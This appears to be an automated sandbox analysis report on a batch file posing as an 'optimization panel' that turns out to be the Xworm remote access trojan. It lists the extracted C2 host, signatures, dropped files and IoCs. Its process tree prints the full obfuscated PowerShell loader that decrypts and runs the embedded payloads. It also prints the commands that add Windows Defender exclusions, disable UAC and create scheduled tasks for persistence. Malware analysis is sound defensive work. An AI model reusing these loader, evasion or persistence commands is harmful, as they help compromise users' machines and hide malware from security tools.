Analysis

  • max time kernel
    0s
  • max time network
    23s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/06/2024, 02:42

General

  • Target
    PaidOptimizationPanel.bat
  • Size 519KB
  • Sample240609-c7gfzadb43
  • SHA256 4b2bbb9a5c6d64c6bda74a64ad364a8a2a1c8e6b3d93e41a335a5c5792789923
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • loans-clip.gl.at.ply.gg:6807

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4820
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8VrnqL5FdmunZzeVZ6qm3mq6yWYLBaHrvu1oPeSLCUs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6e3JZfxMjzGGrf+BTRgQsw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $icvPY=New-Object System.IO.MemoryStream(,$param_var); $fyiKi=New-Object System.IO.MemoryStream; $qOVHn=New-Object System.IO.Compression.GZipStream($icvPY, [IO.Compression.CompressionMode]::Decompress); $qOVHn.CopyTo($fyiKi); $qOVHn.Dispose(); $icvPY.Dispose(); $fyiKi.Dispose(); $fyiKi.ToArray();}function execute_function($param_var,$param2_var){ $BdoSp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjdj=$BdoSp.EntryPoint; $CXjdj.Invoke($null, $param2_var);}$SmpZi = 'C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat';$host.UI.RawUI.WindowTitle = $SmpZi;$ACAQw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SmpZi).Split([Environment]::NewLine);foreach ($WeFFm in $ACAQw) { if ($WeFFm.StartsWith('aZvtqFFHKksqGUkZuRxa')) { $Rumeg=$WeFFm.Substring(20); break; }}$payloads_var=[string[]]$Rumeg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      2⤵
        PID:2868
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4268
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_506_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:1364
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.vbs"
          3⤵
            PID:1984
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.bat" "
              4⤵
                PID:4732
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8VrnqL5FdmunZzeVZ6qm3mq6yWYLBaHrvu1oPeSLCUs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6e3JZfxMjzGGrf+BTRgQsw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $icvPY=New-Object System.IO.MemoryStream(,$param_var); $fyiKi=New-Object System.IO.MemoryStream; $qOVHn=New-Object System.IO.Compression.GZipStream($icvPY, [IO.Compression.CompressionMode]::Decompress); $qOVHn.CopyTo($fyiKi); $qOVHn.Dispose(); $icvPY.Dispose(); $fyiKi.Dispose(); $fyiKi.ToArray();}function execute_function($param_var,$param2_var){ $BdoSp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjdj=$BdoSp.EntryPoint; $CXjdj.Invoke($null, $param2_var);}$SmpZi = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.bat';$host.UI.RawUI.WindowTitle = $SmpZi;$ACAQw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SmpZi).Split([Environment]::NewLine);foreach ($WeFFm in $ACAQw) { if ($WeFFm.StartsWith('aZvtqFFHKksqGUkZuRxa')) { $Rumeg=$WeFFm.Substring(20); break; }}$payloads_var=[string[]]$Rumeg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                  5⤵
                    PID:1784
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                    5⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:4568
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rizzsxn_Tweaking_Panel.bat" "
                      6⤵
                        PID:212
                        • C:\Windows\system32\reg.exe
                          Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
                          7⤵
                            PID:3940
                          • C:\Windows\system32\mode.com
                            mode 145,30
                            7⤵
                              PID:4036
                            • C:\Windows\system32\reg.exe
                              reg add HKLM /F
                              7⤵
                              • Modifies registry key
                              PID:3088
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %b in (1) do rem"
                              7⤵
                                PID:1888
                              • C:\Windows\system32\reg.exe
                                reg add HKCU\CONSOLE /v VirtualTerminalLevel /t REG_DWORD /d 1 /f
                                7⤵
                                • Modifies registry key
                                PID:4332
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                              6⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:4212
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                              6⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:3896
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft Edge'
                              6⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:1912
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft Edge'
                              6⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:3992
                            • C:\Windows\System32\schtasks.exe
                              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft Edge" /tr "C:\Users\Admin\AppData\Roaming\Microsoft Edge"
                              6⤵
                              • Creates scheduled task(s)
                              PID:3348

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        powershell.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                        • Size 3KB
                        • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
                        • MD5 SHA1 SHA512

                        StartupProfileData-Interactive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                        • Size 2KB
                        • SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 2afeb7db4e46d3c1524512a73448e9cd0121deec761d8aa54fa9fe8b56df7519
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 944B
                        • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 944B
                        • SHA256 a5735921fc72189c8bf577f3911486cf031708dc8d6bc764fe3e593c0a053165
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 944B
                        • SHA256 347338241585c510bb1fafae13447879318610ca4d844b0e73089957911d77fe
                        • MD5 SHA1 SHA512

                        Rizzsxn_Tweaking_Panel.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\Rizzsxn_Tweaking_Panel.bat
                        • Size 258KB
                        • SHA256 2097980870ce3cb140d151b4e681a4ee28d6d27e751727a84b929b4e03d48673
                        • MD5 SHA1 SHA512 SSDEEP

                        __PSScriptPolicyTest_axrtn4nd.fwl.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_axrtn4nd.fwl.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512

                        $phantom-startup_str_506.bat

                        • Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.bat
                        • Size 519KB
                        • SHA256 4b2bbb9a5c6d64c6bda74a64ad364a8a2a1c8e6b3d93e41a335a5c5792789923
                        • MD5 SHA1 SHA512 SSDEEP

                        $phantom-startup_str_506.vbs

                        • Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.vbs
                        • Size 124B
                        • SHA256 2cf00e0fefaf438ee96664cb8a028fb49e1eda1cd902814cf2af5b0cf358e740
                        • MD5 SHA1 SHA512

                        Schedule Maintenance Work

                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                        • Size 2KB
                        • SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
                        • MD5 SHA1 SHA512

                        Schedule Maintenance Work

                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                        • Size 2KB
                        • SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
                        • MD5 SHA1 SHA512

                        Schedule Wake To Work

                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                        • Size 2KB
                        • SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
                        • MD5 SHA1 SHA512

                        Schedule Wake To Work

                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                        • Size 2KB
                        • SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
                        • MD5 SHA1 SHA512

                        Schedule Work

                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                        • Size 2KB
                        • SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
                        • MD5 SHA1 SHA512

                        Schedule Work

                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                        • Size 2KB
                        • SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
                        • MD5 SHA1 SHA512

                        memory/64-106-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/796-109-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/956-103-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/1036-112-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/1152-104-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/1244-111-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/1364-27-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

                        memory/1364-28-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

                        memory/1364-33-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

                        memory/1364-29-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

                        memory/1364-32-0x000001D955270000-0x000001D95548C000-memory.dmp

                        memory/1564-108-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/1668-105-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/1752-101-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/2132-110-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/2392-113-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/2488-107-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/2740-99-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/3164-98-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/3424-51-0x0000000007A80000-0x0000000007AAA000-memory.dmp

                        memory/3424-97-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/3540-100-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/4268-0-0x00007FFED0BB3000-0x00007FFED0BB5000-memory.dmp

                        memory/4268-147-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

                        memory/4268-16-0x000002673B150000-0x000002673B1EC000-memory.dmp

                        memory/4268-15-0x000002673AA10000-0x000002673AA18000-memory.dmp

                        memory/4268-14-0x000002673B0D0000-0x000002673B146000-memory.dmp

                        memory/4268-13-0x000002673B000000-0x000002673B044000-memory.dmp

                        memory/4268-12-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

                        memory/4268-11-0x00007FFED0BB0000-0x00007FFED1671000-memory.dmp

                        memory/4268-10-0x000002673A9E0000-0x000002673AA02000-memory.dmp

                        memory/4512-102-0x00007FFEAEE70000-0x00007FFEAEE80000-memory.dmp

                        memory/4568-145-0x00000268F7470000-0x00000268F74A6000-memory.dmp